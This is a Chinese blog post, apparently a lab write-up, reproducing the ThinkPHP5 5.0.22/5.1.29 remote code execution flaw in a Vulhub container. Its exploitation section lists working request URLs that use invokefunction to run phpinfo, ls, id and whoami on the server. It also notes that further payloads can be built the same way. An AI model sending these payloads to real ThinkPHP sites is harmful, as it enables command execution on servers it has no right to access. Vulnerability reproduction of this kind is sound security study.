ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
2021/9/16 17:08:16
本文主要是介绍ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
个人博客:coonaa.cn 【本文博客同步地址】
1. 漏洞简介
ThinkPHP 是一款运用极广的 PHP 开发框架。
在版本 5 中,由于框架没有对控制器名进行正确检测处理,导致在网站没有开启强制路由的情况(即默认情况)下可以执行任意方法,从而导致远程命令执行漏洞。
受影响的版本包括 5.0.23 和 5.1.31 之前的所有版本。
详细的漏洞分析可以参考先知社区:《[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录》。
2. 漏洞复现
本文简单记录一下该漏洞在实际利用中的一些 Payload ,以便后续查阅。
(1)使用 Vulhub 搭建漏洞测试靶场
搭建好相应的容器并运行:
容器搭建成功之后,能够在浏览器中正确访问页面:
(2)使用 Payload 进行漏洞利用
根据 Vulhub 上现有的资料,直接使用以下 Payload 可以获取 PHPINFO 。
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
据此,便可以自行构造出想要执行的 Payload ,例如:
获取网站目录文件:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
获取对应ID:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id
查看当前用户:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
3. 参考资料
https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce/README.zh-cn.md
这篇关于ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享